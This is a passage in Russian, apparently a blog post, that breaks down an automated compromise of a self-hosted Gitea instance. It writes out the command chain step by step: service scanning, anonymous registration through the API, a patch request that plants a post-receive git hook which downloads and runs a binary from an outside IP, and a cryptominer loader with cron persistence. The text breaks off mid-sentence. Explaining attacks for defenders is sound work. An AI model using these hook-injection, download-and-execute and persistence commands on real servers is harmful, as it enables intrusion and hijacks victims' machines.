История с сервером, который «просто стоит и работает», интересна не столько фактом взлома, сколько скоростью и автоматичностью атаки. Ниже — тот же случай, но с разбором механики: как именно бот нашёл дыру, что происходило на сервере после регистрации нового пользователя, и почему от первого запроса до полного контроля над self-hosted Gitea прошло около 11 секунд.
Контекст: почему self-hosted Gitea вообще стал целью
Gitea — популярная лёгкая альтернатива GitLab для тех, кто хочет держать репозитории на своём сервере, а не в облаке. Обычно она разворачивается на порту 3000 (веб-интерфейс) и 22 (git по SSH), иногда за реверс-прокси на 443. Проблема в том, что многие команды разворачивают Gitea один раз, «чтобы код был свой», и дальше годами не трогают ни версию, ни настройки — она же не публичный сайт, зачем её обновлять. Именно это и превращает инстанс в лёгкую цель: боты сканируют интернет не выборочно, а по сигнатурам сервиса.
Как это эксплуатируется
Разберём цепочку атаки шаг за шагом — так, как она обычно выглядит для сканеров, автоматически ищущих уязвимые self-hosted Git-серверы.
1. Обнаружение сервиса и его версии
nmap -p 3000,22,80,443 -sV --script=http-title,http-headers 203.0.113.10
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4
3000/tcp open http Golang net/http server
80/tcp closed
443/tcp closed
Дальше атакующий (или сканер) обращается к открытому API-эндпоинту, который есть в любой версии Gitea и палит номер версии без авторизации:
curl -s http://203.0.113.10:3000/api/v1/version
{"version":"1.19.3"}
Версия 1.19.x без критических патчей — сигнал, что инстанс, вероятно, не обновлялся год и больше. Дальше проверяется, открыта ли самостоятельная регистрация:
curl -s http://203.0.113.10:3000/user/sign_up -o /dev/null -w "%{http_code}\n"
200
Код 200 вместо редиректа на страницу логина означает: регистрация доступна любому анонимному пользователю из интернета. Это первая настоящая дверь — не баг, а настройка DISABLE_REGISTRATION = false в app.ini, которую никто не сменил при разворачивании.
2. Регистрация и создание «плацдарма» — репозитория
curl -X POST http://203.0.113.10:3000/api/v1/users \
-H "Content-Type: application/json" \
-d '{"username":"xk7f9q2","email":"xk7f9q2@proton.me","password":"P@ssw0rd!23","must_change_password":false}'
curl -X POST http://203.0.113.10:3000/api/v1/user/repos \
-H "Authorization: token <новый_токен>" \
-d '{"name":"xk7f9q2-build","auto_init":true}'
С точки зрения журналов сервера это выглядит как обычная активность: новый пользователь, новый пустой репозиторий. Ничего похожего на атаку — пока.
3. Применение diff-патча с нарушением проверки прав
Дальше в дело вступает уязвимость класса «improper access control» в эндпоинте применения diff-патчей Gitea (закрыта в релизах ветки 1.21.x/1.22.x). Суть проблемы: API, который должен требовать право write на репозиторий, при определённых условиях (пустой или только что созданный репозиторий, специфичный формат патча) позволяет автору-владельцу собственного же репозитория записать файл с произвольным путём — в том числе внутрь служебной директории .git/hooks, минуя штатный интерфейс редактирования git-хуков.
# упрощённая иллюстрация идеи атаки — патч создаёт файл вне рабочей директории
curl -X POST http://203.0.113.10:3000/api/v1/repos/xk7f9q2/xk7f9q2-build/diffpatch \
-H "Authorization: token <новый_токен>" \
-d '{
"content": "--- a/.git/hooks/post-receive\n+++ b/.git/hooks/post-receive\n@@ -0,0 +1,4 @@\n+#!/bin/sh\n+curl -fsSL http://185.220.xxx.xxx/x -o /tmp/.sysupdate\n+chmod +x /tmp/.sysupdate\n+/tmp/.sysupdate &\n",
"message": "chore: fix build script"
}'
После этого запроса файл-хук на сервере физически становится исполняемым скриптом, который будет выполняться каждый раз при получении коммита (post-receive) от имени системного пользователя, под которым запущен Gitea (обычно git или gitea).
4. Триггер — обычный push
git clone http://203.0.113.10:3000/xk7f9q2/xk7f9q2-build.git
cd xk7f9q2-build
echo "// build" >> main.go
git add . && git commit -m "trigger" && git push origin main
В момент push сервер выполняет hook — и с этой секунды у атакующего есть исполнение произвольных команд на сервере (RCE), без какого-либо взаимодействия с оператором.
Именно этот отрезок — от регистрации до срабатывания хука — в журналах и укладывается примерно в 11 секунд: все шаги автоматизированы одним скриптом сканера, человек в цепочке не участвует.
5. Закрепление и загрузка майнера
После получения shell-доступа типичный следующий шаг — не кража данных сразу, а установка чего-то тихого и монетизируемого:
# типичный loader, который встречается в подобных инцидентах
curl -fsSL http://185.220.xxx.xxx/x -o /tmp/.sysupdate
chmod +x /tmp/.sysupdate
nohup /tmp/.sysupdate --url stratum+tcp://pool.example:3333 \
--user 44xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
--pass x --cpu-max-threads-hint 80 &
crontab -l 2>/dev/null; echo "*/10 * * * * /tmp/.sysupdate --check" | crontab -
Отсюда и характерная нагрузка на CPU в 70%+ — параметр cpu-max-threads-hint в кон
